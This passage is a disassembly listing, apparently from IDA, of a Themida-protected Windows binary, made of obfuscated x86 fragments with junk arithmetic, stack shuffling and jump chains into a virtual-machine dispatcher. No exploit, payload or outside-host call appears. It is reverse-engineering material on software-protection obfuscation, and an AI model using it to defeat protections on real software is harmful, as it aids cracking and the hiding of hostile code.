		jmp	loc_558FEA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559744:				; CODE XREF: Themida_:005598A6j
		pop	eax
		mov	eax, [esp]
		jmp	loc_55C94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_55974D:				; CODE XREF: sub_555B85-1F3Ej
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_55B4E2
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	46BEh
		jmp	loc_557EA7
; ---------------------------------------------------------------------------


loc_55976A:				; CODE XREF: Themida_:00554F06j
		pop	dword ptr [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_554D33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55977B:				; CODE XREF: sub_556A70+6424j
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		xchg	esi, [esp+10h+var_10]
		jmp	loc_555449
; ---------------------------------------------------------------------------


loc_559789:				; CODE XREF: sub_556A70-4AFFj
		push	54B4h
		mov	[esp-8+arg_4], ebx
		push	ebp
		jmp	loc_552647
; ---------------------------------------------------------------------------


loc_559797:				; CODE XREF: sub_556A70-281Cj
		push	esi
		jmp	loc_55B81B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55979D:				; CODE XREF: Themida_:00557F7Bj
		inc	ebx
		sub	ebx, 0E6CED60Ah
		mov	eax, ebx
		pop	ebx
		dec	eax
		jmp	loc_551C2E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5597BB:				; CODE XREF: sub_556A70-4300j
		add	edx, eax
		jmp	loc_5537BF
; ---------------------------------------------------------------------------


loc_5597C2:				; CODE XREF: sub_556A70-44CFj
		pop	edx
		add	edi, 4
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_5597D2:				; CODE XREF: sub_556A70-1D70j
		mov	edi, 3F584D13h
		sub	[esp-0Ch+arg_C], edi
		mov	edi, [esp-0Ch+arg_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_559064
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_559E62
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_553331
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553B60


loc_559802:				; CODE XREF: sub_553B60+6j
		push	ecx
		mov	ch, 42h
		jmp	sub_5521AC
; END OF FUNCTION CHUNK	FOR sub_553B60
; ---------------------------------------------------------------------------


loc_55980A:				; CODE XREF: Themida_:0055846Aj
		sub	ebp, 386439F4h
		add	ebp, 0C7D8E252h
		jmp	loc_55214A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55982A:				; CODE XREF: Themida_:0055A807j
		add	edx, 1B7975C1h
		push	dword ptr [esp]
		jmp	loc_558440
; ---------------------------------------------------------------------------
		push	1886h
		mov	[esp], edx
		jmp	loc_55A5A7
; ---------------------------------------------------------------------------


loc_559845:				; CODE XREF: Themida_:0055128Bj
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55984A:				; CODE XREF: sub_55AE6E-64CDj
		xor	al, 5Fh
		and	dl, al
		jmp	loc_55CAE5
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559853:				; CODE XREF: sub_556A70+1602j
		xor	edx, 254369C1h
		shl	edx, 5
		sub	edx, 74403AB5h
		jmp	loc_553641
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_550D47
; ---------------------------------------------------------------------------


loc_55986F:				; CODE XREF: Themida_:0055B5CCj
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C7D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559883:				; CODE XREF: sub_556A70-3F4Cj
		xor	si, 1BACh
		or	si, 6B86h
		push	edi
		mov	di, 71A5h
		jmp	loc_55CF17
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559897:				; CODE XREF: Themida_:00555524j
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], eax
		jmp	loc_559744
; ---------------------------------------------------------------------------


loc_5598AB:				; CODE XREF: Themida_:0055A7E1j
		push	6E16h
		mov	[esp], edi
		push	ebp
		push	3ABC5DCAh
		pop	ebp
		inc	ebp
		push	edi
		mov	edi, 0
		sub	edi, ebp
		xchg	edi, ebp
		jmp	loc_55A170
; ---------------------------------------------------------------------------


loc_5598CA:				; CODE XREF: Themida_:00553C1Aj
		add	edi, 0FFFFFFFFh
		add	edi, 0A63FCCFCh
		add	ebx, 8F38D8h
		add	ebx, edi
		push	ecx
		mov	ecx, 8F38D8h
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55AEE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_5598EC:				; CODE XREF: sub_550BFD+883Cj
		add	ecx, 4D581D4Ch
		add	ecx, 25E436F4h
		and	ecx, 3B33249Eh
		not	ecx
		xor	ecx, 918DDDFDh
		sub	edx, 3A5F6E02h
		add	edx, 1B6A2980h
		add	edx, 51DE1E2Ah
		jmp	loc_55528B
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A6CD


loc_55991D:				; CODE XREF: sub_55A6CD-270Cj
		pop	ebp
		jmp	loc_55CDD7
; END OF FUNCTION CHUNK	FOR sub_55A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_559923:				; CODE XREF: sub_553D17+29C4j
		mov	ch, 68h
		mov	bl, ch
		mov	ecx, [esp+0]
		add	esp, 4
		add	bl, al
		pop	eax
		jmp	loc_559BDE
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------


loc_559935:				; CODE XREF: Themida_:00551C24j
		push	ebp
		jmp	loc_55761D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55993B:				; CODE XREF: sub_5584F8+11F2j
		push	[esp+arg_0]
		jmp	loc_558789
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559944:				; CODE XREF: sub_556A70+5002j
		xor	ecx, [esp+0]
		pop	esp
		push	ebx
		push	edx
		mov	edx, 3A5A29B0h
		push	edi
		jmp	loc_55CA1A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559955:				; CODE XREF: Themida_:00558D90j
		add	esi, 55424A21h
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		jmp	loc_556F35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55996C:				; CODE XREF: sub_556A70+E39j
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp-4+arg_0]
		jmp	loc_55BA6F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559977:				; CODE XREF: Themida_:00555B45j
		pop	eax
		and	eax, 3CEB4358h
		sub	eax, 28C84256h
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_554693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_559993:				; CODE XREF: sub_552634+97EAj
		mov	ecx, [esp+0]
		add	esp, 4
		add	edx, 6A9B0D29h
		add	edx, eax
		sub	edx, 6A9B0D29h
		pop	eax
		sub	edx, 4DA278CDh
		jmp	loc_55AA7F
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5599B6:				; CODE XREF: sub_556A70-1FC3j
		add	ecx, 2FF15FE6h
		sub	ecx, 521D323Fh
		sub	eax, ecx
		pop	ecx
		mov	esi, eax
		jmp	loc_5555BF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_5599CC:				; CODE XREF: sub_55B730-5D93j
		add	esp, 4
		sub	ebp, 2EB36B46h
		not	ebp
		sub	ebp, 384EA636h
		jmp	loc_55A656
; END OF FUNCTION CHUNK	FOR sub_55B730

; =============== S U B	R O U T	I N E =======================================



sub_5599E2	proc near		; CODE XREF: sub_556A70+5B74j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553214 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00555E6E SIZE 00000013 BYTES

		sub	esp, 4
		jmp	loc_553214
sub_5599E2	endp

; ---------------------------------------------------------------------------


loc_5599EA:				; CODE XREF: Themida_:00553AA9j
		or	cl, 0CAh
		not	cl
		shl	cl, 3
		shr	cl, 7
		xor	cl, 0F1h
		jmp	loc_55309E
; ---------------------------------------------------------------------------


loc_5599FD:				; CODE XREF: Themida_:005587F0j
		or	esi, edi
		jmp	loc_55AECF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559A04:				; CODE XREF: sub_556A70+2BB4j
		pop	ebx
		add	al, 7Bh
		sub	al, dl
		sub	al, 7Bh
		pop	edx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	sub_552B74
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_559A17:				; CODE XREF: sub_555B85+Cj
		neg	ebx
		sub	ebx, 8F6A5B71h
		jmp	loc_55BB36
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559A24:				; CODE XREF: sub_556A70+270Fj
		xor	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_55891F
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	5D43h
		mov	[esp], edx
		jmp	loc_551565
; ---------------------------------------------------------------------------
		lodsw
		xor	ax, bx
		push	2F68h
		mov	[esp], esi
		mov	si, 4ECBh
		push	cx
		mov	cx, 4402h
		jmp	loc_55BCFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559A56:				; CODE XREF: sub_556A70-849j
		xchg	edi, esi
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		xchg	edi, esi
		jmp	loc_55CCDF
; ---------------------------------------------------------------------------


loc_559A63:				; CODE XREF: sub_556A70-544j
		push	0D9Ah
		mov	[esp+10h+var_10], edi
		push	[esp+10h+var_C]
		pop	edi
		pop	[esp+10h+var_10]
		jmp	loc_553D94
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5521AC


loc_559A78:				; CODE XREF: sub_5521AC+ADCBj
		add	bl, dh
		sub	bl, 9Fh
		pop	edx
		add	bl, 2Bh
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_5521AC
; ---------------------------------------------------------------------------


loc_559A8D:				; CODE XREF: Themida_:00554461j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_556116
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_559AA3:				; CODE XREF: sub_55AE6E-2950j
		mov	edx, [esp-6+arg_2]
		add	esp, 4
		jmp	sub_559F2D
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559AB1:				; CODE XREF: sub_556A70+3F67j
		push	esi
		mov	esi, 599710BAh
		push	eax
		mov	eax, 7DD5606Ah
		xor	esi, eax
		pop	eax
		jmp	loc_553CBC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559AC5:				; CODE XREF: Themida_:00554D3Ej
		add	al, 4Bh
		add	al, 84h
		add	al, cl
		sub	al, 84h
		sub	al, 4Bh
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 8Ch
		jmp	loc_5570A2
; ---------------------------------------------------------------------------


loc_559ADF:				; CODE XREF: Themida_:00552F78j
		shr	ebp, 8
		jmp	loc_552412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559AE7:				; CODE XREF: sub_556A70-83Dj
		add	ebp, 7ABD3441h
		push	ebx
		mov	ebx, 0D0B91812h
		xor	ebp, ebx
		pop	ebx
		add	ecx, ebp
		pop	ebp
		jmp	loc_5577BE
; ---------------------------------------------------------------------------


loc_559AFE:				; CODE XREF: sub_556A70-3D6Ej
		mov	[esp+4+var_4], eax
		push	2
		pop	eax
		jmp	loc_557069
; ---------------------------------------------------------------------------


loc_559B0C:				; CODE XREF: sub_556A70+19B8j
		add	ebp, 56634FBEh
		add	ebp, eax
		sub	ebp, 56634FBEh
		pop	eax
		jmp	loc_55C675
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559B20:				; CODE XREF: Themida_:00552ACCj
		add	esp, 2
		sub	al, 6Fh
		jmp	loc_55520A

; =============== S U B	R O U T	I N E =======================================



sub_559B2A	proc near		; CODE XREF: sub_556A70-3D95j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00551E81 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005585C3 SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 634F5DA7h
		push	edx
		mov	edx, 1EA8177Eh
		add	edx, 44A74627h
		xor	ebx, edx
		jmp	loc_5585C3
sub_559B2A	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_557BD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559B53:				; CODE XREF: sub_556A70+4BB6j
		shl	edx, 3
		neg	edx
		shl	edx, 6
		sub	edx, 25027C4Ah
		or	ebp, edx
		pop	edx
		push	edx
		mov	edx, 2B662567h
		neg	edx
		or	edx, 4D0C78F6h
		and	edx, 136963BEh
		jmp	loc_552B97
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559B7D:				; CODE XREF: Themida_:00554951j
		shr	edi, 1
		jmp	loc_55712C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559B84:				; CODE XREF: sub_556A70+59EDj
		push	esp
		pop	[esp-1Ah+arg_14+2]
		jmp	loc_55CEAA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559B8D:				; CODE XREF: Themida_:00552A24j
		mov	edx, 6043637Eh
		add	eax, 1E9B049Ah
		add	eax, edx
		sub	eax, 1E9B049Ah
		pop	edx
		push	28Ch
		mov	[esp], edi
		mov	edi, 42A31329h
		dec	edi
		jmp	loc_558A5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559BB2:				; CODE XREF: sub_556A70-829j
		mov	ecx, 43A76C5Dh
		inc	ecx
		or	ecx, 59B44875h
		xor	ecx, 0B8AFA986h
		add	edi, ecx
		pop	ecx
		and	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebp
		jmp	loc_55A070
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_559BDE:				; CODE XREF: sub_553D17+5C19j
		sub	bl, 0AEh
		shl	bl, 2
		jmp	loc_55111F
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A748


loc_559BE9:				; CODE XREF: sub_55A748-1402j
		pop	eax
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_555C74
; END OF FUNCTION CHUNK	FOR sub_55A748
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559BF8:				; CODE XREF: sub_556A70+A51j
		sub	edi, 6C2E8654h
		xor	ebx, edi
		pop	edi
		add	ebx, 0CF7C632Fh
		xor	eax, ebx
		mov	ebx, [esp-2Eh+arg_28+2]
		jmp	loc_55ACF5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559C11:				; CODE XREF: Themida_:00552B2Ej
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 32562840h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, 78BF0198h
		and	esi, 7CC3113Ch
		jmp	loc_55BD96
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559C32:				; CODE XREF: sub_556A70+412Ej
		push	1
		pop	ebp
		jmp	sub_554BBA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559C3D:				; CODE XREF: Themida_:00554061j
		inc	edx
		jmp	loc_5548C8
; ---------------------------------------------------------------------------


loc_559C43:				; CODE XREF: Themida_:00557D25j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	al, 11h
		jmp	loc_557A2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559C5A:				; CODE XREF: sub_556A70+47B1j
		pop	eax
		xchg	esi, [esp-32h+arg_2C+2]
		pop	esp
		sub	esp, 4
		mov	[esp-32h+arg_2C+2], esi
		mov	esi, 7F481A35h
		sub	ebx, 74627DE7h
		sub	ebx, 1F7E2703h
		jmp	loc_55A3E4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559C7B:				; CODE XREF: Themida_:00553435j
		add	bl, al
		jmp	loc_551310
; ---------------------------------------------------------------------------


loc_559C82:				; CODE XREF: Themida_:00558056j
		push	edx
		mov	edx, 740A3AC5h
		jmp	loc_555529
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_559C8D:				; CODE XREF: sub_552E24+9F1Bj
		and	eax, ebx
		jmp	loc_55524D
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------


loc_559C94:				; CODE XREF: Themida_:00552E91j
		xor	ecx, 0CAAFB0ACh
		xor	edi, ecx
		jmp	loc_558535
; ---------------------------------------------------------------------------


loc_559CA1:				; CODE XREF: Themida_:005569E2j
		add	ebx, 1CFA3786h
		shr	ebx, 5
		add	ebx, 0FE03E3DBh
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C770

; =============== S U B	R O U T	I N E =======================================



sub_559CCC	proc near		; CODE XREF: sub_556A70-5856j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551FB6 SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 72C7434Fh
		push	ebx
		push	ebp
		push	eax
		mov	eax, 57E51A56h
		mov	ebp, 0B965B24h
		jmp	loc_551FB6
sub_559CCC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559CE9:				; CODE XREF: sub_556A70-18EBj
		shl	edx, 8
		xor	edx, 6D05DA20h
		jmp	loc_5543C1
; ---------------------------------------------------------------------------


loc_559CF7:				; CODE XREF: sub_556A70+1AC0j
		and	bl, 77h
		inc	bl
		shl	bl, 1
		not	bl
		xchg	dh, bl
		inc	dh
		xchg	dh, bl
		xor	bl, 0AAh
		xor	dl, bl
		jmp	loc_55718B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF4AE


loc_559D10:				; CODE XREF: sub_5AF4AE-5EA61j
		pop	bx
		sub	al, bl
		jmp	sub_556A70
; END OF FUNCTION CHUNK	FOR sub_5AF4AE
; ---------------------------------------------------------------------------


loc_559D19:				; CODE XREF: Themida_:0055CF6Cj
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	73C3h
		jmp	loc_557B2E
; ---------------------------------------------------------------------------


loc_559D2F:				; CODE XREF: Themida_:0055A5C3j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_559D34:				; CODE XREF: Themida_:00555EF5j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55B19B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_559D44:				; CODE XREF: sub_557F09-1B5Fj
		pop	ebx
		add	esp, 4
		rep movsd
		jmp	loc_55BFB9
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------


loc_559D52:				; CODE XREF: Themida_:0055BC67j
		pop	ecx
		add	edx, 63C02701h
		jmp	loc_559ED7

; =============== S U B	R O U T	I N E =======================================



sub_559D5E	proc near		; CODE XREF: sub_556A70+3965j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055399E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055546E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B27F SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 4
		push	edx
		mov	edx, 167313EEh
		sub	edi, edx
		pop	edx
		jmp	loc_55B27F
sub_559D5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559D72:				; CODE XREF: sub_556A70-3DE7j
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5583C9
; ---------------------------------------------------------------------------


loc_559D7C:				; CODE XREF: sub_556A70-2737j
		mov	[esp+8+var_8], edx
		mov	edx, 1021A29h
		not	edx
		dec	edx
		jmp	loc_551DD8
; ---------------------------------------------------------------------------


loc_559D8C:				; CODE XREF: sub_556A70-5A13j
		pop	ebp
		xor	esi, 7DB72222h
		shr	esi, 7
		sub	esi, 178681h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	edi, edx
		jmp	loc_552F37
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559DAC:				; CODE XREF: Themida_:0055C50Aj
		push	ecx
		mov	ecx, esp
		jmp	loc_55637F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550BFD


loc_559DB4:				; CODE XREF: sub_550BFD+BB9j
		pop	ebp
		sub	edx, 1D7779C4h
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_550BFD
; ---------------------------------------------------------------------------


loc_559DC0:				; CODE XREF: Themida_:00553D46j
		push	5604h
		mov	[esp], ebx
		push	esp
		jmp	loc_55C50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B403


loc_559DCE:				; CODE XREF: sub_55B403-7CAj
		mov	ch, ah
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		jmp	loc_555B4A
; END OF FUNCTION CHUNK	FOR sub_55B403
; ---------------------------------------------------------------------------


loc_559DDC:				; CODE XREF: Themida_:00554515j
		sub	esp, 4
		mov	[esp], ebx
		push	4
		pop	ebx
		jmp	loc_5521E8
; ---------------------------------------------------------------------------


loc_559DED:				; CODE XREF: Themida_:005541A7j
		push	2EF7h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559E03:				; CODE XREF: sub_556A70+2427j
		add	ecx, esi
		pop	esi
		xor	ecx, [esp+14h+var_14]
		jmp	loc_55C661
; ---------------------------------------------------------------------------


loc_559E0E:				; CODE XREF: sub_556A70-3305j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp-16h+arg_10+2]
		xor	[esp-16h+arg_10+2], eax
		xor	eax, [esp-16h+arg_10+2]
		mov	esp, [esp-16h+arg_10+2]
		mov	[esp-16h+arg_10+2], eax
		push	[esp-16h+arg_14+2]
		pop	eax
		jmp	loc_554A27
; ---------------------------------------------------------------------------


loc_559E34:				; CODE XREF: sub_556A70+1203j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55AB64
; ---------------------------------------------------------------------------


loc_559E41:				; CODE XREF: sub_556A70+F29j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5549D3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559E50:				; CODE XREF: Themida_:00555276j
		xor	bp, cx
		xor	cx, bp
		xor	bp, cx
		xor	[esp], bp
		jmp	loc_55C40F
; ---------------------------------------------------------------------------


loc_559E62:				; CODE XREF: Themida_:005597EDj
		xor	al, bl
		jmp	loc_55525B
; ---------------------------------------------------------------------------


loc_559E69:				; CODE XREF: Themida_:00551F3Aj
		add	ecx, 4
		push	4874h
		jmp	loc_554BC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_559E79:				; CODE XREF: sub_552B74+CE8j
		mov	dx, word ptr [esp+4+var_4]
		jmp	loc_553729
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559E82:				; CODE XREF: sub_556A70+43E1j
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_553820
; ---------------------------------------------------------------------------


loc_559E95:				; CODE XREF: sub_556A70+10Bj
		sub	ecx, 24B75F40h
		add	edi, 5434123Fh
		sub	edi, 79C9685Bh
		jmp	loc_55C032
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559EAC:				; CODE XREF: Themida_:0055812Aj
		add	al, bl
		push	ebx
		mov	bh, 79h
		jmp	loc_558B19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559EB6:				; CODE XREF: sub_556A70-2494j
		push	4554h
		mov	[esp+0], ecx
		mov	ecx, 6A1A5C5Eh
		push	4F12h
		mov	[esp+2+var_4+2], edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_55C0FB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559ED7:				; CODE XREF: Themida_:00559D59j
		add	edx, 0D5CB5952h
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0ECh
		sub	dh, 85h
		push	cx
		mov	ch, 0DEh
		sub	dh, ch
		pop	cx
		push	ebx
		mov	bh, dh
		mov	ch, bh
		pop	ebx
		pop	edx
		add	al, 6Bh
		sub	al, ch
		sub	al, 6Bh
		jmp	loc_554E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A9A4


loc_559F06:				; CODE XREF: sub_55A9A4-18Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_556DDF
; END OF FUNCTION CHUNK	FOR sub_55A9A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559F14:				; CODE XREF: sub_556A70+2C8Aj
		pop	esp
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_559F1A:				; CODE XREF: Themida_:00550D69j
		xor	cl, 0A3h
		xor	cl, 4
		add	dl, cl
		pop	ecx
		add	al, 0E0h
		sub	al, dl
		push	ecx
		jmp	loc_5573F2

; =============== S U B	R O U T	I N E =======================================



sub_559F2D	proc near		; CODE XREF: sub_55AE6E-13C2j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005567C3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055B4B5 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055C59A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055C8FB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055CF4E SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bl, 20h
		and	bl, 7Bh
		add	bl, 0FFh
		sub	bl, 84h
		add	al, 76h
		jmp	loc_55C8FB
sub_559F2D	endp

; ---------------------------------------------------------------------------


loc_559F45:				; CODE XREF: Themida_:005528ADj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5549C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


